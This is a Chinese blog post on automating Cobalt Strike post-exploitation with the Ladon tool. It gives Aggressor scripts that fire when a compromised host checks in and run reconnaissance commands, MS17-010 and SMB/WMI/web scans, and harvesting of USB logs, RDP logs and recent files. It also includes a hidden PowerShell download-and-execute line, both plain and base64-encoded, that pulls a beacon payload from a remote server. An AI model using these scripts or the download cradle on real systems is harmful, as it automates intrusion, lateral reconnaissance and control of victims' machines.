查看原文
其他

Cobalt Strike与Ladon联动自动渗透

k8gege K8实验室 2023-02-18

为何要自动化?

你是否遇到过CS只上线几分钟又下线的情况,这种情况可能是安全公司扫描自动CS上线的,当然这并不是我们的重点,因为做个IP过滤或改一下CS就好了。重点是另外一个原因就是目标某些机器临时接入网络,所以我们会看到只上线一会儿。或者说就算上线一两个小时,而此时你正在做其它事,来不及看,等回来时机器已下线。因此自动化收集信息是有必要的,或者说有很多机器需要更新CS,如3.X转移到4.X,你一台一台换,等下班了都换不了几台,如果有些机器在不定时且是你休息时间才上线,难道你每天都在等它上线吗?


首先我们来看下CNA是如何执行命令的。首先是执行系统自带CMD命令,采用bshell,如执行whoami,脚本代码如下


执行CMD

bshell($1,"whoami");

执行多条CMD可用&符号连接

bshell($1,"whoami&net user&tasklist");

也可以写多行bshell代码

bshell($1,"whoami");bshell($1,"net user");bshell($1,"ipconfig")

自动化Demo

#Initial GetInfo#by K8gegeon beacon_initial {#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));blog($1,"Auto GetInfo");bshell($1,"net user");#bshell($1,"whoami&net user&tasklist");#$process = exec("whoami");}


测试脚本

以上代码保存为auto.cna文件,工具栏--Cobalt Strike--Script Mannge--点击Load加载auto.cna


加载后,打开beacon会话,发现已自动执行我们预设的命令net user



执行Ladon

bexecute_assembly!($1, script_resource("Ladon.exe"),"MS17010");

PS:Ladon可自动获取当前机器所有网卡IP,并扫描C段机器是否存在MS17010漏洞,使用其它扫描模块同理,所以实现自动信息获取、漏洞扫描等,有些模块可能需要传相关文件,本文暂不讨论。


自动渗透脚本

#Initial GetInfo#by K8gegeon beacon_initial {#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));blog($1,"Auto GetInfo");bshell($1,"net user");bexecute_assembly!($1, script_resource("Ladon.exe"),"onlinepc");bexecute_assembly!($1, script_resource("Ladon.exe"),"ms17010");#bshell($1,"whoami&net user&tasklist");#$process = exec("whoami");}


重新加载脚本测试,可看到机器上线后,CS联动Ladon探测存活主机等,对于那些在你吃饭休息时间才上线的机器,回来看到它自动收集信息岂不美栽!


执行复杂命令

对于Ladon未支持的功能,可能需复杂的多语句命令完成,命令中的双引号以及其它特殊字符CS转义比较麻烦,加上现在XP、2003系统几乎淘汰,主流基本都是WIN7以上系统,所以推荐大家使用PowerShell比较省事。以CS自动更新或转移权限为例,以下是CS的一行代码上线命令


powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://192.168.1.8:80/a'))""


使用LadonGui--PowerShell的Base64Command将要执行的命令转成base64Command,这样可完美解决CNA脚本解析符号或转义问题。


CS自动更新脚本

#Initial GetInfo#by K8gegeon beacon_initial {#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));blog($1,"Auto GetInfo");bshell($1,"net user");#bexecute_assembly!($1, script_resource("Ladon.exe"),"getinfo");bshell($1,"powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAIgBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AOAA6ADgAMAAvAGEAMQAxACcAKQApACIA");#bshell($1,"whoami&net user&tasklist");#$process = exec("whoami");}


当目标机器上线时,将执行转换好的powershell代码,自动完成权限转移


Ladon自动化脚本

#Initial GetInfo#by K8gegeon beacon_initial {#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));blog($1,"Auto GetInfo");bshell($1,"net user");bexecute_assembly!($1, script_resource("Ladon.exe"),"onlinepc");bexecute_assembly!($1, script_resource("Ladon.exe"),"ms17010");bexecute_assembly!($1, script_resource("Ladon.exe"),"smbinfo");bexecute_assembly!($1, script_resource("Ladon.exe"),"wmiinfo");bexecute_assembly!($1, script_resource("Ladon.exe"),"snmpscan");bexecute_assembly!($1, script_resource("Ladon.exe"),"webscan");bexecute_assembly!($1, script_resource("Ladon.exe"),"getinfo");bexecute_assembly!($1, script_resource("Ladon.exe"),"cmdline");bexecute_assembly!($1, script_resource("Ladon.exe"),"usblog");bexecute_assembly!($1, script_resource("Ladon.exe"),"rdplog");bexecute_assembly!($1, script_resource("Ladon.exe"),"getid");bexecute_assembly!($1, script_resource("Ladon.exe"),"recent");bexecute_assembly!($1, script_resource("Ladon.exe"),"netver");bexecute_assembly!($1, script_resource("Ladon.exe"),"allver");#bshell($1,"whoami&net user&tasklist");#$process = exec("whoami");}

以上为CS联运Ladon收集信息脚本,若需要其它功能,请自行添加


关于GetInfo

getinfo模块会自动收集以下信息,所以无需bshell添加一堆命令,当然截图只能截到一部分,有些功能如usblog、.net版本、最近使用文件recent等非cmd命令获取的信息也在该模块里,如截图部分的获取CPUID、硬盘ID等非cmd命令获取,getinfo能获取的信息,并不全是系统自带CMD,有些信息自带的格式错乱,或者获取不到更详细参数。


GetInfo2模块比getinfo多了以下功能,因为考虑到在少量机器上wmi执行有问题会导致卡死,所以为了兼容所有C2默认getinfo不获取该wmi相关信息


参考

http://k8gege.org/p/648af4b3.html

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存